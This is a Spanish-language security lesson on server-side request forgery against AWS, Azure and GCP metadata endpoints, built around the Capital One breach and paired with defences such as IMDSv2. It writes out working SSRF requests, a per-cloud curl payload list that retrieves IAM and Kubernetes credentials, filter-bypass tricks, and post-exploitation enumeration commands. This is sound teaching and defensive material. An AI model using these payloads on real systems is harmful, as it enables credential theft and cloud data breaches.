SSRF a metadata endpoints: AWS, Azure, GCP y el caso Capital One
· 9 min de lectura
Los metadata endpoints de AWS, Azure y GCP permiten a una instancia leer sus propias credenciales IAM. Si tienes SSRF en una aplicación corriendo en cloud, ganas credenciales efímeras con los permisos del rol asociado. Caso práctico: Capital One 2019.
En julio de 2019 se hizo público uno de los incidentes más instructivos de la década en seguridad cloud: Capital One perdió los datos de 106 millones de clientes y solicitantes de tarjetas de crédito. La investigación posterior reveló el camino técnico: una aplicación en AWS vulnerable a SSRF, un atacante que llegó al metadata endpoint interno 169.254.169.254, obtuvo credenciales IAM temporales del rol de la instancia, y con ellas pudo listar y descargar buckets S3 completos con la información filtrada.
El fallo no era un bug de AWS. Era una combinación: una SSRF en una aplicación web (fallo del desarrollador) combinada con un rol IAM con permisos excesivos sobre S3 (fallo del arquitecto cloud) servidos por un IMDS v1 sin protección (versión antigua del metadata). Cada pieza por separado era «aceptable». Juntas, tumbaron una de las grandes entidades financieras de Estados Unidos y dieron lugar a una multa de 80 millones de dólares.
Esta lección explica cómo funcionan los metadata endpoints en los tres grandes clouds, cómo se convierten en escalada vía SSRF, qué protecciones existen (IMDSv2, PMSI en Azure, GCE Metadata v1 Headers), y cómo diseñar tu aplicación para que una SSRF no te cueste la cuenta entera.
Prueba solo en sistemas autorizados. Acceder a credenciales de una instancia ajena, incluso aprovechando una SSRF, es acceso no autorizado y delito.
El metadata endpoint#
Cada cloud ofrece a sus instancias (EC2, VM, Compute) un endpoint interno no enrutado que la propia instancia usa para consultar información sobre sí misma: su nombre, su región, su configuración de red, sus user-data, y —lo importante para nosotros— las credenciales IAM temporales del rol asociado.
| Cloud | URL | Credenciales |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ | /iam/security-credentials/ |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 | /metadata/identity/oauth2/token |
| GCP | http://metadata.google.internal/computeMetadata/v1/ | /instance/service-accounts/default/token |
La IP 169.254.169.254 es la misma en AWS y Azure (coincidencia histórica); GCP usa un hostname interno. Todos requieren salir desde dentro de la instancia: el endpoint no responde desde Internet.
El flujo de ataque clásico#

Paso 1 — detectar SSRF en una aplicación:
POST /api/preview HTTP/1.1
Content-Type: application/json
{"url": "http://attacker.com"}
Si la aplicación va y hace la petición a attacker.com, tienes SSRF.
Paso 2 — apuntar al metadata:
POST /api/preview HTTP/1.1
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/"}
Si responde con ami-id\n...\niam/\n..., has llegado. Sigue por iam/security-credentials/ y obtén el nombre del role:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Devuelve algo como WebServerRole.
Paso 3 — obtener las credenciales:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole"}
Devuelve JSON con AccessKeyId, SecretAccessKey, Token. Son credenciales STS temporales (válidas 6 horas típicamente).
Paso 4 — usarlas:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
A partir de aquí, lo que el rol pueda hacer, lo haces tú. En Capital One, el rol podía listar y leer todos los buckets.
Azure y GCP#
Azure#
GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1
Metadata: true
El header Metadata: true es obligatorio. Devuelve un access_token JWT con permisos de la Managed Identity.
GCP#
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
Metadata-Flavor: Google
El header Metadata-Flavor: Google es obligatorio. Devuelve access_token OAuth2 con permisos de la Service Account.
Los headers obligatorios en Azure y GCP son una defensa menor contra SSRF triviales: si la SSRF no te deja controlar headers, no llegas. Pero muchas SSRF en aplicaciones web sí permiten controlar headers (webhook configuradores, proxies, servicios de preview).
IMDSv2: la defensa de AWS#
Tras Capital One, AWS lanzó IMDSv2, una versión del metadata endpoint que requiere un token de sesión obtenido con una petición PUT. Como la mayoría de SSRF son solo GET o POST, el PUT cierra el vector:
# Primero obtener el token (PUT con header)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Luego usar el token
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
IMDSv2 bloquea:
- SSRF que solo soportan GET.
- SSRF con redirecciones (el token tiene que estar en todas las peticiones).
- Reverse proxies mal configurados que no reenvían headers.
Habilitar IMDSv2 obligatorio es la medida más importante que puedes tomar en EC2. En 2024 AWS empezó a forzarlo por defecto en instancias nuevas; para instancias existentes se puede migrar con un simple:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxx \
--http-tokens required \
--http-put-response-hop-limit 1
El hop-limit 1 evita además que un contenedor Docker dentro de la EC2 pueda alcanzar el IMDS (muy útil contra escape a metadata).
Otros caminos con SSRF#

Mientras investigas una SSRF conviene probar también:
- Protocolos:
file://,gopher://,dict://,ldap://.file:///etc/passwdrevela el servidor;gopher://permite construir peticiones TCP arbitrarias (SMTP, Redis, memcached). - Redirecciones: la app descarga
attacker.com, que devuelve 302 a169.254.169.254. Bypasses de filtros simples. - DNS rebinding: registras
metadata.attacker.comcon TTL 0 que responde primero con1.1.1.1(para pasar validación) y luego con169.254.169.254(para la petición real). - IPv6 equivalentes:
[fd00:ec2::254]en algunas configuraciones. - Decimal/octal/hex:
http://2852039166/equivale a169.254.169.254y pasa filtros ingenuos.
Capital One: el caso paso a paso#
El atacante (Paige Thompson) hizo lo siguiente, según la investigación del DOJ:
- Encontró una aplicación de Capital One con un Web Application Firewall mal configurado que permitía SSRF.
- Usó la SSRF para consultar
169.254.169.254/latest/meta-data/iam/security-credentials/WAF-Role. - Obtuvo credenciales temporales de un rol con
s3:*sobre 700 buckets. - Listó los buckets, descubrió backups de aplicaciones de tarjeta de crédito.
- Descargó 106 millones de registros con PII, histórico crediticio y SSNs.
- Alardeó en Slack y GitHub, donde la ingeniera de Amazon que luego la denunció vio el commit.
Multas: Capital One pagó 80 millones de USD en 2020 al OCC, 190 millones más en demandas colectivas. La atacante fue condenada en 2022 a 5 años de libertad condicional. Capital One eliminó cientos de posiciones y tuvo que rediseñar su arquitectura cloud entera.
Defensa en profundidad#
- IMDSv2 obligatorio en toda la organización (SCP).
- Hop limit 1 para evitar container escape.
- Permissions boundary en todos los roles de EC2: lectura, solo buckets propios, nada de IAM.
- VPC Endpoints para S3: el tráfico va por backbone AWS, no por Internet.
- Librerías HTTP que validen el host antes de hacer la petición (allow-list vs. block-list).
- Firewall de salida en la EC2 que bloquee 169.254.169.254 salvo para procesos autorizados.
- GuardDuty detecta usos anómalos de credenciales de role EC2.
Para desarrollo: cualquier funcionalidad que acepte URL como input (webhook, preview, import, proxy) debería:
# Mal
requests.get(user_url)
# Bien
parsed = urlparse(user_url)
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
raise ValueError("private IP not allowed")
# Y validar de nuevo tras resolución (TOCTOU: DNS rebinding)
requests.get(user_url, allow_redirects=False)
Payloads útiles por cloud#
Para una SSRF cuando no sabes aún en qué cloud corre la aplicación, conviene probar los tres en el mismo orden:
# AWS IMDSv1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS IMDSv2 (si v1 devuelve 401)
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# DigitalOcean
curl http://169.254.169.254/metadata/v1/
# Alibaba
curl http://100.100.100.200/latest/meta-data/
# Oracle Cloud
curl -H "Authorization: Bearer Oracle" http://169.254.169.254/opc/v2/instance/
# Kubernetes (si la aplicación corre en un pod)
curl -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc/api/v1/namespaces
Si el objetivo responde a cualquiera de ellos sabes exactamente dónde estás y qué permisos puedes pedir a continuación.
Qué hacer tras conseguir credenciales#
Enumeración rápida y responsable en auditorías:
# Quién eres
aws sts get-caller-identity
# Qué puedes hacer (permisos del role)
aws iam get-role --role-name WebRole
aws iam list-attached-role-policies --role-name WebRole
# Listar lo que el role te deje
aws s3 ls
aws ec2 describe-instances --region us-east-1
aws rds describe-db-instances
aws lambda list-functions
En un pentest con alcance, documentas qué pudo obtenerse y paras ahí. En bug bounty se adjunta prueba mínima (una captura con sts get-caller-identity y la lista de buckets) y se reporta sin descargar datos del cliente.
Errores comunes del defensor#
- No habilitar IMDSv2 porque «ya tenemos SSRF controlado».
- Confiar en librerías HTTP sin validación de IP interna.
- Permitir redirecciones en clientes HTTP de aplicación.
- Dar permisos
s3:*o*:*a roles EC2 por comodidad. - No tener firewall de salida en EC2 (tráfico libre a cualquier parte).
- Olvidar que Lambda, ECS, Fargate también tienen credenciales expuestas por variables de entorno (
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI).
Preguntas frecuentes#
¿Las Lambdas tienen metadata endpoint?#
No tienen 169.254.169.254, pero exponen credenciales por variables de entorno (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) y por un endpoint interno distinto ($AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). Una SSRF o RCE en una Lambda da credenciales igual.
¿ECS Fargate es vulnerable?#
ECS usa 169.254.170.2 para el task metadata. SSRF a esa IP devuelve credenciales del Task Role. Mismas defensas aplican con sus equivalentes.
¿Un curl localhost desde la aplicación llega al metadata?#
No: el metadata está en 169.254.169.254, no en 127.0.0.1. Pero muchas aplicaciones hacen SSRF a su propia red local permitiéndolo todo, y ahí 169.254.169.254 cuenta como privado.
¿Puedo auditar si uso IMDSv1 o v2?#
Sí: aws ec2 describe-instances --query 'Reservations[].Instances[].{InstanceId:InstanceId,HttpTokens:MetadataOptions.HttpTokens}'. Si sale optional, aún sirves IMDSv1 y un atacante lo usará.
¿Dónde practico?#
En el laboratorio database de whoami-labs se incluye una aplicación con SSRF simulando IMDSv1, dejándote replicar el flujo Capital One a escala segura: obtienes credenciales, listas buckets, descargas el archivo clave. Tras conseguirlo tienes la variante con IMDSv2 activo para ver qué cambia.
¿Un WAF bien configurado evita SSRF a metadata?#
Ayuda pero no es suficiente. Un WAF puede detectar patrones obvios (string 169.254.169.254 en parámetros, cabeceras Metadata: sospechosas) pero fallará frente a DNS rebinding, representaciones alternativas de IP (decimal, octal) y codificaciones Unicode. La defensa real es en la aplicación (validación de hosts resolviendo DNS primero y bloqueando rangos privados) y en la infraestructura (IMDSv2 obligatorio, hop limit 1). WAF es una capa adicional, no la primera.
¿Qué pasa con las aplicaciones en Kubernetes?#
Un pod con una SSRF puede llegar al API server de Kubernetes (kubernetes.default.svc) usando el token montado en /var/run/secrets/kubernetes.io/serviceaccount/token. Si el service account del pod tiene permisos excesivos (frecuente en instalaciones iniciales), el atacante puede listar secretos, crear pods privilegiados, o incluso escalar al nodo. Los metadata endpoints cloud subyacentes también son accesibles desde el pod salvo que la red del cluster los bloquee. Es un combo de riesgos: ver la lección de Kubernetes RBAC más adelante en el bloque cloud.
Resumen#
- Los metadata endpoints de AWS (
169.254.169.254), Azure y GCP sirven credenciales IAM temporales a las instancias. - Una SSRF en una aplicación cloud permite llegar al metadata y obtener esas credenciales.
- Caso real: Capital One 2019, 106 millones de registros filtrados.
- IMDSv2 requiere PUT con token y cierra la mayoría de SSRF. Obligatorio.
- Defensa: IMDSv2, hop limit 1, permission boundaries, VPC endpoints, validación de host en librerías HTTP.
- Lambda, ECS, Fargate tienen equivalentes que también se protegen.
Si tu aplicación está en un pod con rol excesivo, un SSRF simple se convierte en control del cluster entero: por eso los equipos cloud maduros auditan permisos de ServiceAccount con la misma obsesión que las policies IAM.